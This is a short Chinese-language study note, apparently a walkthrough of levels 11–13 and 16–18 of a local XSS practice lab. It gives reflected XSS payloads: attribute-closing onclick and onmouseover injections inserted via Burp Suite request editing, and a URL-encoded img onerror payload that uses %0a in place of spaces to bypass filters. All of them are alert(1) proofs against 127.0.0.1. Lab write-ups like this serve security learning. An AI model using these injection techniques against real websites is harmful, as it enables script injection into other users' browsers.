Xss練習(level11/12/13/16/17/18)

本文爲學習筆記，僅限學習交流
不得利用、從事危害國家或人民安全、榮譽和利益等活動
level11
查看源代碼

嘗試 利用BP抓包，改包
構造語句，注意閉合

level12

嘗試BP抓包
改包： “ type=“test” οnclick=“alert(1)
放包。查看頁面，操作成功。
level13

參照12題，嘗試BP抓包，改包
改包：” type=“test” οnclick="alert(1)
level16

查看源代碼

嘗試構造語句：

嘗試Url編碼
在線編碼轉換：http://tool.oschina.net/encode?type=4
空格= %0a < = %3c > = %3E

http://127.0.0.1/xss/level16.php?keyword=test%20%3Cimg%0asrc=1%oaοnerrοr=alert%20(1)%0aοnclick=alert(1)%3E
level 17
查看源代碼
http://127.0.0.1/xss/level17.php?arg01=a&arg02=b οnmοuseοver=alert(1)
level 18
http://127.0.0.1/xss/level18.php?arg01=a&arg02=b οnmοuseοver=alert(1)